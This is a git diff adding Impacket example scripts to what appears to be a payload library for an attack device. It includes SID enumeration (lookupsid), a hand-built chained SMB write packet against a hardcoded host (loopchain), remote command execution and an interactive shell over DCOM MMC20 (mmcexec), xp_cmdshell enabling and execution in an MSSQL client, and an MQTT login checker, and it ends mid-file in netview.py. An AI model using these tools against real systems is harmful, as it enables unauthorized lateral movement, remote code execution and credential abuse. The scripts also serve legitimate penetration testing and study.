DCERPCException, e: + if str(e).find('STATUS_NONE_MAPPED') >= 0: + soFar += SIMULTANEOUS + continue + elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: + resp = e.get_packet() + else: + raise + + for n, item in enumerate(resp['TranslatedNames']['Names']): + if item['Use'] != SID_NAME_USE.SidTypeUnknown: + print "%d: %s\\%s (%s)" % ( + soFar + n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], + SID_NAME_USE.enumItems(item['Use']).name) + soFar += SIMULTANEOUS + + dce.disconnect() + + return entries + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + print version.BANNER + + parser = argparse.ArgumentParser() + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('maxRid', action='store', default = '4000', nargs='?', help='max Rid to check (default 4000)') + + group = parser.add_argument_group('connection') + + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. ' + 'If ommited it will use whatever was specified as target. This is useful when target is the ' + 'NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + import re + + domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in remoteName: + password = password + '@' + remoteName.rpartition('@')[0] + remoteName = remoteName.rpartition('@')[2] + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None: + from getpass import getpass + password = getpass("Password:") + + if options.target_ip is None: + options.target_ip = remoteName + + lookup = LSALookupSid(username, password, domain, int(options.port), options.hashes, options.maxRid) + try: + lookup.dump(remoteName, options.target_ip) + except: + pass diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/loopchain.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/loopchain.py new file mode 100644 index 0000000..ce199f5 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/loopchain.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +import time + +from impacket.examples import logger +from impacket import smb + + +class lotsSMB(smb.SMB): + def loop_write_andx(self,tid,fid,data, offset = 0, wait_answer=1): + pkt = smb.NewSMBPacket() + pkt['Flags1'] = 0x18 + pkt['Flags2'] = 0 + pkt['Tid'] = tid + + writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX) + pkt.addCommand(writeAndX) + + writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters() + writeAndX['Parameters']['Fid'] = fid + writeAndX['Parameters']['Offset'] = offset + writeAndX['Parameters']['WriteMode'] = 0 + writeAndX['Parameters']['Remaining'] = len(data) + writeAndX['Parameters']['DataLength'] = len(data) + writeAndX['Parameters']['DataOffset'] = len(pkt) + writeAndX['Data'] = data+('A'*4000) + + saved_offset = len(pkt) + + writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX) + pkt.addCommand(writeAndX2) + + writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters() + writeAndX2['Parameters']['Fid'] = fid + writeAndX2['Parameters']['Offset'] = offset + writeAndX2['Parameters']['WriteMode'] = 0 + writeAndX2['Parameters']['Remaining'] = len(data) + writeAndX2['Parameters']['DataLength'] = len(data) + writeAndX2['Parameters']['DataOffset'] = len(pkt) + writeAndX2['Data'] = '\n' + + writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX + writeAndX2['Parameters']['AndXOffset'] = saved_offset + + self.sendSMB(pkt) + + if wait_answer: + pkt = self.recvSMB() + if pkt.isValidAnswer(self.SMB_COM_WRITE_ANDX): + return pkt + return None + +# Init the example's logger theme +logger.init() +s = lotsSMB('*SMBSERVER','192.168.1.1') +s.login('Administrator','pasword') +tid = s.tree_connect(r'\\*SMBSERVER\IPC$') +fid = s.open_andx(tid, r'\pipe\echo', smb.SMB_O_CREAT, smb.SMB_O_OPEN)[0] + +s.loop_write_andx(tid,fid,'<1234>\n', wait_answer = 0) + +time.sleep(2) +s.close(tid,fid) + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/mmcexec.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/mmcexec.py new file mode 100644 index 0000000..f96eb5e --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/mmcexec.py @@ -0,0 +1,481 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# A similar approach to wmiexec but executing commands through MMC. +# Main advantage here is it runs under the user (has to be Admin) +# account, not SYSTEM, plus, it doesn't generate noisy messages +# in the event log that smbexec.py does when creating a service. +# Drawback is it needs DCOM, hence, I have to be able to access +# DCOM ports at the target machine. +# +# Original discovery by Matt Nelson (@enigma0x3): +# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ +# +# Author: +# beto (@agsolino) +# +# Reference for: +# DCOM +# +# ToDo: +# [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to +# getInterface() method +# + +import argparse +import cmd +import logging +import ntpath +import os +import string +import sys +import time + +from impacket import version +from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ + VARIANT, VARENUM, DISPATCH_METHOD +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ + OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ + IRemUnknown2, INTERFACE +from impacket.dcerpc.v5.dtypes import NULL +from impacket.examples import logger +from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21 + +OUTPUT_FILENAME = '__' + str(time.time()) + +class MMCEXEC: + def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, + noOutput=False, doKerberos=False, kdcHost=None): + self.__command = command + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__share = share + self.__noOutput = noOutput + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.shell = None + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def getInterface(self, interface, resp): + # Now let's parse the answer and build an Interface instance + objRefType = OBJREF(''.join(resp))['flags'] + objRef = None + if objRefType == FLAGS_OBJREF_CUSTOM: + objRef = OBJREF_CUSTOM(''.join(resp)) + elif objRefType == FLAGS_OBJREF_HANDLER: + objRef = OBJREF_HANDLER(''.join(resp)) + elif objRefType == FLAGS_OBJREF_STANDARD: + objRef = OBJREF_STANDARD(''.join(resp)) + elif objRefType == FLAGS_OBJREF_EXTENDED: + objRef = OBJREF_EXTENDED(''.join(resp)) + else: + logging.error("Unknown OBJREF Type! 0x%x" % objRefType) + + return IRemUnknown2( + INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], + oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], + target=interface.get_target())) + + def run(self, addr): + if self.__noOutput is False: + smbConnection = SMBConnection(addr, addr) + if self.__doKerberos is False: + smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) + + dialect = smbConnection.getDialect() + if dialect == SMB_DIALECT: + logging.info("SMBv1 dialect used") + elif dialect == SMB2_DIALECT_002: + logging.info("SMBv2.0 dialect used") + elif dialect == SMB2_DIALECT_21: + logging.info("SMBv2.1 dialect used") + else: + logging.info("SMBv3.0 dialect used") + else: + smbConnection = None + + dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + try: + iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) + iMMC = IDispatch(iInterface) + + resp = iMMC.GetIDsOfNames(('Document',)) + + dispParams = DISPPARAMS(None, False) + dispParams['rgvarg'] = NULL + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 0 + dispParams['cNamedArgs'] = 0 + resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + + iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + resp = iDocument.GetIDsOfNames(('ActiveView',)) + resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + + iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] + + pQuit = iMMC.GetIDsOfNames(('Quit',))[0] + + self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) + if self.__command != ' ': + self.shell.onecmd(self.__command) + if self.shell is not None: + self.shell.do_exit('') + else: + self.shell.cmdloop() + except (Exception, KeyboardInterrupt), e: + #import traceback + #traceback.print_exc() + if self.shell is not None: + self.shell.do_exit('') + logging.error(str(e)) + if smbConnection is not None: + smbConnection.logoff() + dcom.disconnect() + sys.stdout.flush() + sys.exit(1) + + if smbConnection is not None: + smbConnection.logoff() + dcom.disconnect() + +class RemoteShell(cmd.Cmd): + def __init__(self, share, quit, executeShellCommand, smbConnection): + cmd.Cmd.__init__(self) + self.__share = share + self.__output = '\\' + OUTPUT_FILENAME + self.__outputBuffer = '' + self.__shell = 'c:\\windows\\system32\\cmd.exe' + self.__quit = quit + self.__executeShellCommand = executeShellCommand + self.__transferClient = smbConnection + self.__pwd = 'C:\\' + self.__noOutput = False + self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' + + # We don't wanna deal with timeouts from now on. + if self.__transferClient is not None: + self.__transferClient.setTimeout(100000) + self.do_cd('\\') + else: + self.__noOutput = True + + def do_shell(self, s): + os.system(s) + + def do_help(self, line): + print """ + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) + get {file} - downloads pathname to the current local dir + ! {cmd} - executes a local shell cmd +""" + + def do_lcd(self, s): + if s == '': + print os.getcwd() + else: + try: + os.chdir(s) + except Exception, e: + logging.error(str(e)) + + def do_get(self, src_path): + try: + import ntpath + newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) + drive, tail = ntpath.splitdrive(newPath) + filename = ntpath.basename(tail) + fh = open(filename,'wb') + logging.info("Downloading %s\\%s" % (drive, tail)) + self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) + fh.close() + except Exception, e: + logging.error(str(e)) + os.remove(filename) + pass + + def do_put(self, s): + try: + params = s.split(' ') + if len(params) > 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + dst_path = string.replace(dst_path, '/','\\') + import ntpath + pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file) + drive, tail = ntpath.splitdrive(pathname) + logging.info("Uploading %s to %s" % (src_file, pathname)) + self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) + fh.close() + except Exception, e: + logging.critical(str(e)) + pass + + def do_exit(self, s): + dispParams = DISPPARAMS(None, False) + dispParams['rgvarg'] = NULL + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 0 + dispParams['cNamedArgs'] = 0 + + self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, + 0, [], []) + return True + + def emptyline(self): + return False + + def do_cd(self, s): + self.execute_remote('cd ' + s) + if len(self.__outputBuffer.strip('\r\n')) > 0: + print self.__outputBuffer + self.__outputBuffer = '' + else: + self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = self.__pwd + '>' + self.__outputBuffer = '' + + def default(self, line): + # Let's try to guess if the user is trying to change drive + if len(line) == 2 and line[1] == ':': + # Execute the command and see if the drive is valid + self.execute_remote(line) + if len(self.__outputBuffer.strip('\r\n')) > 0: + # Something went wrong + print self.__outputBuffer + self.__outputBuffer = '' + else: + # Drive valid, now we should get the current path + self.__pwd = line + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = self.__pwd + '>' + self.__outputBuffer = '' + else: + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + self.__outputBuffer += data + + if self.__noOutput is True: + self.__outputBuffer = '' + return + + while True: + try: + self.__transferClient.getFile(self.__share, self.__output, output_callback) + break + except Exception, e: + if str(e).find('STATUS_SHARING_VIOLATION') >=0: + # Output not finished, let's wait + time.sleep(1) + pass + elif str(e).find('Broken') >= 0: + # The SMB Connection might have timed out, let's try reconnecting + logging.debug('Connection broken, trying to recreate it') + self.__transferClient.reconnect() + return self.get_output() + self.__transferClient.deleteFile(self.__share, self.__output) + + def execute_remote(self, data): + command = '/Q /c ' + data + if self.__noOutput is False: + command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' + + dispParams = DISPPARAMS(None, False) + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 4 + dispParams['cNamedArgs'] = 0 + arg0 = VARIANT(None, False) + arg0['clSize'] = 5 + arg0['vt'] = VARENUM.VT_BSTR + arg0['_varUnion']['tag'] = VARENUM.VT_BSTR + arg0['_varUnion']['bstrVal']['asData'] = self.__shell + + arg1 = VARIANT(None, False) + arg1['clSize'] = 5 + arg1['vt'] = VARENUM.VT_BSTR + arg1['_varUnion']['tag'] = VARENUM.VT_BSTR + arg1['_varUnion']['bstrVal']['asData'] = self.__pwd + + arg2 = VARIANT(None, False) + arg2['clSize'] = 5 + arg2['vt'] = VARENUM.VT_BSTR + arg2['_varUnion']['tag'] = VARENUM.VT_BSTR + arg2['_varUnion']['bstrVal']['asData'] = command + + arg3 = VARIANT(None, False) + arg3['clSize'] = 5 + arg3['vt'] = VARENUM.VT_BSTR + arg3['_varUnion']['tag'] = VARENUM.VT_BSTR + arg3['_varUnion']['bstrVal']['asData'] = '7' + dispParams['rgvarg'].append(arg3) + dispParams['rgvarg'].append(arg2) + dispParams['rgvarg'].append(arg1) + dispParams['rgvarg'].append(arg0) + + self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, + 0, [], []) + self.get_output() + + def send_data(self, data): + self.execute_remote(data) + print self.__outputBuffer + self.__outputBuffer = '' + +class AuthFileSyntaxError(Exception): + + '''raised by load_smbclient_auth_file if it encounters a syntax error + while loading the smbclient-style authentication file.''' + + def __init__(self, path, lineno, reason): + self.path=path + self.lineno=lineno + self.reason=reason + + def __str__(self): + return 'Syntax error in auth file %s line %d: %s' % ( + self.path, self.lineno, self.reason ) + +def load_smbclient_auth_file(path): + + '''Load credentials from an smbclient-style authentication file (used by + smbclient, mount.cifs and others). returns (domain, username, password) + or raises AuthFileSyntaxError or any I/O exceptions.''' + + lineno=0 + domain=None + username=None + password=None + for line in open(path): + lineno+=1 + + line = line.strip() + + if line.startswith('#') or line=='': + continue + + parts = line.split('=',1) + if len(parts) != 2: + raise AuthFileSyntaxError(path, lineno, 'No "=" present in line') + + (k,v) = (parts[0].strip(), parts[1].strip()) + + if k=='username': + username=v + elif k=='password': + password=v + elif k=='domain': + domain=v + else: + raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k)) + + return (domain, username, password) + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows " + "Management Instrumentation.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from ' + '(default ADMIN$)') + parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output ' + '(no SMB connection created)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will ' + 'launch a semi-interactive shell') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. " + "See smbclient man page's -A option.") + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if ' '.join(options.command) == ' ' and options.nooutput is True: + logging.error("-nooutput switch and interactive shell not supported") + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + try: + if options.A is not None: + (domain, username, password) = load_smbclient_auth_file(options.A) + logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password))) + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = MMCEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, + options.share, options.nooutput, options.k, options.dc_ip) + executer.run(address) + except (Exception, KeyboardInterrupt), e: + #import traceback + #print traceback.print_exc() + logging.error(str(e)) + sys.exit(0) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/mqtt_check.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/mqtt_check.py new file mode 100644 index 0000000..62cdbcf --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/mqtt_check.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# Simple MQTT example aimed at playing with different login options. Can be converted into a account/password +# brute forcer quite easily. +# +# Reference for: +# MQTT and Structure +# +# + +import argparse +import logging +import re +import sys + +from impacket import version +from impacket.examples import logger +from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection + +try: + import OpenSSL + from OpenSSL import SSL, crypto +except: + logging.critical("pyOpenSSL is not installed, can't continue") + raise + + +class MQTT_LOGIN: + def __init__(self, username, password, target, options): + self._options = options + self._username = username + self._password = password + self._target = target + + if self._username == '': + self._username = None + + def run(self): + mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl) + + if self._options.client_id is None: + clientId = ' ' + else: + clientId = self._options.client_id + + mqtt.connect(clientId, self._username, self._password) + + logging.info(CONNECT_ACK_ERROR_MSGS[0]) + +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + parser = argparse.ArgumentParser(add_help=False, + description="MQTT login check") + parser.add_argument("--help", action="help", help='show this help message and exit') + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)') + parser.add_argument('-ssl', action='store_true', help='turn SSL on') + parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + try: + options = parser.parse_args() + except Exception, e: + logging.error(str(e)) + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + check_mqtt = MQTT_LOGIN(username, password, address, options) + try: + check_mqtt.run() + except Exception, e: + #import traceback + #traceback.print_exc() + logging.error(e) + + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/mssqlclient.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/mssqlclient.py new file mode 100644 index 0000000..9a035ff --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/mssqlclient.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: [MS-TDS] & [MC-SQLR] example. +# +# Author: +# Alberto Solino (beto@coresecurity.com/@agsolino) +# +# Reference for: +# Structure +# + + +import argparse +import sys +import string +import os +import logging + +from impacket.examples import logger +from impacket import version, tds + +if __name__ == '__main__': + import cmd + + class SQLSHELL(cmd.Cmd): + def __init__(self, SQL): + cmd.Cmd.__init__(self) + self.sql = SQL + self.prompt = 'SQL> ' + self.intro = '[!] Press help for extra shell commands' + + def do_help(self, line): + print """ + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + enable_xp_cmdshell - you know what it means + disable_xp_cmdshell - you know what it means + xp_cmdshell {cmd} - executes cmd using xp_cmdshell + ! {cmd} - executes a local shell cmd + """ + + def do_shell(self, s): + os.system(s) + + def do_xp_cmdshell(self, s): + try: + self.sql.sql_query("exec master..xp_cmdshell '%s'" % s) + self.sql.printReplies() + self.sql.colMeta[0]['TypeData'] = 80*2 + self.sql.printRows() + except: + pass + + def do_lcd(self, s): + if s == '': + print os.getcwd() + else: + os.chdir(s) + + def do_enable_xp_cmdshell(self, line): + try: + self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;" + "exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def do_disable_xp_cmdshell(self, line): + try: + self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure " + "'show advanced options', 0 ;RECONFIGURE;") + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def default(self, line): + try: + self.sql.sql_query(line) + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def emptyline(self): + pass + + def do_exit(self, line): + return True + + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)') + parser.add_argument('-db', action='store', help='MSSQL database instance (default None)') + parser.add_argument('-windows-auth', action='store_true', default = 'False', help='whether or not to use Windows ' + 'Authentication (default False)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + ms_sql = tds.MSSQL(address, string.atoi(options.port)) + ms_sql.connect() + try: + if options.k is True: + res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey, + kdcHost=options.dc_ip) + else: + res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth) + ms_sql.printReplies() + except Exception, e: + logging.error(str(e)) + res = False + if res is True: + shell = SQLSHELL(ms_sql) + if options.file is None: + shell.cmdloop() + else: + for line in options.file.readlines(): + print "SQL> %s" % line, + shell.onecmd(line) + ms_sql.disconnect() diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/mssqlinstance.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/mssqlinstance.py new file mode 100644 index 0000000..65984d6 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/mssqlinstance.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: [MC-SQLR] example. Retrieves the instances names from the target host +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# Structure +# + + +import argparse +import sys +import string +import logging + +from impacket.examples import logger +from impacket import version, tds + +if __name__ == '__main__': + + print version.BANNER + # Init the example's logger theme + logger.init() + + parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") + + parser.add_argument('host', action='store', help='target host') + parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + ms_sql = tds.MSSQL(options.host) + instances = ms_sql.getInstances(string.atoi(options.timeout)) + if len(instances) == 0: + "No MSSQL Instances found" + else: + for i, instance in enumerate(instances): + logging.info("Instance %d" % i) + for key in instance.keys(): + print key + ":" + instance[key] + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/netview.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/netview.py new file mode 100644 index 0000000..0a24ae8 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/netview.py @@ -0,0 +1,505 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# beto (@agsolino) +# +# Description: +# The idea of this script is to get a list of the sessions +# opened at the remote hosts and keep track of them. +# Coincidentally @mubix did something similar a few years +# ago so credit goes to him (and the script's name ;)). +# Check it out at https://github.com/mubix/netview +# The main difference with our approach is we keep +# looping over the hosts found and keep track of who logged +# in/out from remote servers. Plus, we keep the connections +# with the target systems and just send a few DCE-RPC packets. +# +# One VERY IMPORTANT thing is: +# +# YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS +# NAMES. That's usually solved by setting your DNS to the +# domain DNS (and the right search domain). +# +# Some examples of usage are: +# +# netview.py -target 192.168.1.10 beto +# +# This will show the sessions on 192.168.1.10 and will authenticate as 'beto' +# (password will be prompted) +# +# netview.py FREEFLY.NET/beto +# +# This will download all machines from FREEFLY.NET, authenticated as 'beto' +# and will gather the session information for those machines that appear +# to be up. There is a background thread checking aliveness of the targets +# at all times. +# +# netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto +# +# This will download all machines from FREEFLY.NET, authenticating using +# Kerberos (that's why -dc-ip parameter is needed), and filter +# the output based on the list of users specified in /tmp/users file. +# +# +import sys +import argparse +import logging +import socket +from threading import Thread, Event +from Queue import Queue +from time import sleep + +from impacket.examples import logger +from impacket import version +from impacket.smbconnection import SessionError +from impacket.dcerpc.v5 import transport, wkst, srvs, samr +from impacket.dcerpc.v5.ndr import NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.nt_errors import STATUS_MORE_ENTRIES + +machinesAliveQueue = Queue() +machinesDownQueue = Queue() + +myIP = None + +def checkMachines(machines, stopEvent, singlePass=False): + origLen = len(machines) + deadMachines = machines + done = False + while not done: + if stopEvent.is_set(): + done = True + break + for machine in deadMachines: + s = socket.socket() + try: + s = socket.create_connection((machine, 445), 2) + global 